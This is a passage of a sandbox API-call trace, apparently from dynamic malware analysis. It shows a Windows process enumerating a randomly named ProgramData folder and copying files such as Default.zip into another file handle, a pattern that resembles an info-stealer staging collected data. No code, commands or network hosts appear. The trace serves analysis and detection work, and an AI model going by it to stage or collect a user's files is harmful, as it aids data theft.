[0102.041] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.041] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303d0 [0102.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads", cchWideChar=57, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0102.041] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x39) returned 0x2112a08 [0102.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads", cchWideChar=57, lpMultiByteStr=0x2112a08, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads", lpUsedDefaultChar=0x0) returned 57 [0102.042] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112f18 [0102.042] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a08 | out: hHeap=0x2110000) returned 1 [0102.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Downloads", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0102.042] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xb) returned 0x2113030 [0102.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Downloads", cchWideChar=11, lpMultiByteStr=0x2113030, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Downloads", lpUsedDefaultChar=0x0) returned 11 [0102.042] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113030 | out: hHeap=0x2110000) returned 1 [0102.042] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\downloads"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.042] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112f18 | out: hHeap=0x2110000) returned 1 [0102.042] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303d0 | out: hHeap=0x2110000) returned 1 [0102.042] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.042] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\downloads")) returned 0 [0102.042] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21128e8 | out: hHeap=0x2110000) returned 1 [0102.042] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e6d365, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x33f12b83, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x33f12b83, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Files", cAlternateFileName="")) returned 1 [0102.042] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" [0102.042] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\" [0102.042] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\", lpString2="Files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files" [0102.042] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0102.042] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0102.042] lstrcatW (in: lpString1="\\", lpString2="Files" | out: lpString1="\\Files") returned="\\Files" [0102.042] lstrcmpW (lpString1="Files", lpString2=".") returned 1 [0102.042] lstrcmpW (lpString1="Files", lpString2="..") returned 1 [0102.042] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files" [0102.042] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\*.*" [0102.043] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e6d365, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x33f12b83, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x33f12b83, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0102.043] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files" [0102.043] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\" [0102.043] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\." [0102.043] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Files" | out: lpString1="\\Files") returned="\\Files" [0102.043] lstrcatW (in: lpString1="\\Files", lpString2="\\" | out: lpString1="\\Files\\") returned="\\Files\\" [0102.043] lstrcatW (in: lpString1="\\Files\\", lpString2="." | out: lpString1="\\Files\\.") returned="\\Files\\." [0102.043] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.043] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e6d365, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x33f12b83, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x33f12b83, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.043] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files" [0102.043] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\" [0102.043] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\.." [0102.043] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Files" | out: lpString1="\\Files") returned="\\Files" [0102.043] lstrcatW (in: lpString1="\\Files", lpString2="\\" | out: lpString1="\\Files\\") returned="\\Files\\" [0102.043] lstrcatW (in: lpString1="\\Files\\", lpString2=".." | out: lpString1="\\Files\\..") returned="\\Files\\.." [0102.044] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.044] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.044] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f12b83, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x33f12b83, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b0341, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default.zip", cAlternateFileName="")) returned 1 [0102.044] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files" [0102.044] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\" [0102.044] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\", lpString2="Default.zip" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\Default.zip") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\Default.zip" [0102.044] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Files" | out: lpString1="\\Files") returned="\\Files" [0102.044] lstrcatW (in: lpString1="\\Files", lpString2="\\" | out: lpString1="\\Files\\") returned="\\Files\\" [0102.044] lstrcatW (in: lpString1="\\Files\\", lpString2="Default.zip" | out: lpString1="\\Files\\Default.zip") returned="\\Files\\Default.zip" [0102.044] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x3430048 [0102.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\Default.zip", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0102.044] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x41) returned 0x33ab658 [0102.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\Default.zip", cchWideChar=65, lpMultiByteStr=0x33ab658, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\Default.zip", lpUsedDefaultChar=0x0) returned 65 [0102.044] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa770 [0102.044] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab658 | out: hHeap=0x2110000) returned 1 [0102.044] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.044] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116978 [0102.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2116978, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.045] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116978 | out: hHeap=0x2110000) returned 1 [0102.045] PathMatchSpecW (pszFile="Default.zip", pszSpec="*.*") returned 1 [0102.045] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x3430048 [0102.045] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300e0 [0102.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\Default.zip", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0102.045] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x41) returned 0x33ab428 [0102.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\Default.zip", cchWideChar=65, lpMultiByteStr=0x33ab428, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\Default.zip", lpUsedDefaultChar=0x0) returned 65 [0102.045] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa458 [0102.045] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab428 | out: hHeap=0x2110000) returned 1 [0102.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Files\\Default.zip", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0102.045] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x13) returned 0x3430ea0 [0102.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Files\\Default.zip", cchWideChar=19, lpMultiByteStr=0x3430ea0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Files\\Default.zip", lpUsedDefaultChar=0x0) returned 19 [0102.045] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306a0 [0102.045] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ea0 | out: hHeap=0x2110000) returned 1 [0102.045] GetLastError () returned 0x5 [0102.045] SetLastError (dwErrCode=0x5) [0102.045] GetLastError () returned 0x5 [0102.045] SetLastError (dwErrCode=0x5) [0102.045] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files\\Default.zip" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\files\\default.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0102.046] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x92 [0102.046] GetFileInformationByHandle (in: hFile=0x4f0, lpFileInformation=0x19df48 | out: lpFileInformation=0x19df48) returned 1 [0102.046] GetFileSize (in: hFile=0x4f0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x16 [0102.046] FileTimeToSystemTime (in: lpFileTime=0x19df08, lpSystemTime=0x19def0 | out: lpSystemTime=0x19def0) returned 1 [0102.046] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.046] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.046] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.046] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.046] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.046] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.047] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.047] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.047] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.047] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.047] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.047] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.047] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.047] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.047] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.048] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.048] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.048] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.048] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.048] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.048] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.048] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.048] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.048] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.048] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.049] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.049] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.049] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.049] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.049] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.049] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.049] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e160*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e160*, lpNumberOfBytesWritten=0x19dfbc*=0x12, lpOverlapped=0x0) returned 1 [0102.049] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e378*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e378*, lpNumberOfBytesWritten=0x19dfbc*=0x11, lpOverlapped=0x0) returned 1 [0102.049] GetDesktopWindow () returned 0x10010 [0102.049] GetTickCount () returned 0x15aaa75 [0102.049] GetLastError () returned 0x0 [0102.050] SetLastError (dwErrCode=0x0) [0102.050] GetLastError () returned 0x0 [0102.050] SetLastError (dwErrCode=0x0) [0102.050] GetLastError () returned 0x0 [0102.050] SetLastError (dwErrCode=0x0) [0102.050] GetLastError () returned 0x0 [0102.050] SetLastError (dwErrCode=0x0) [0102.050] GetLastError () returned 0x0 [0102.050] SetLastError (dwErrCode=0x0) [0102.050] GetLastError () returned 0x0 [0102.050] SetLastError (dwErrCode=0x0) [0102.050] GetLastError () returned 0x0 [0102.050] SetLastError (dwErrCode=0x0) [0102.050] GetLastError () returned 0x0 [0102.050] SetLastError (dwErrCode=0x0) [0102.050] GetLastError () returned 0x0 [0102.050] SetLastError (dwErrCode=0x0) [0102.050] GetLastError () returned 0x0 [0102.050] SetLastError (dwErrCode=0x0) [0102.050] GetLastError () returned 0x0 [0102.051] SetLastError (dwErrCode=0x0) [0102.051] GetLastError () returned 0x0 [0102.051] SetLastError (dwErrCode=0x0) [0102.051] GetLastError () returned 0x0 [0102.051] SetLastError (dwErrCode=0x0) [0102.051] ReadFile (in: hFile=0x4f0, lpBuffer=0x33aba1c, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x19dfd8, lpOverlapped=0x0 | out: lpBuffer=0x33aba1c*, lpNumberOfBytesRead=0x19dfd8*=0x16, lpOverlapped=0x0) returned 1 [0102.051] WriteFile (in: hFile=0x2f8, lpBuffer=0x33aba1c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x19dfd8, lpOverlapped=0x0 | out: lpBuffer=0x33aba1c*, 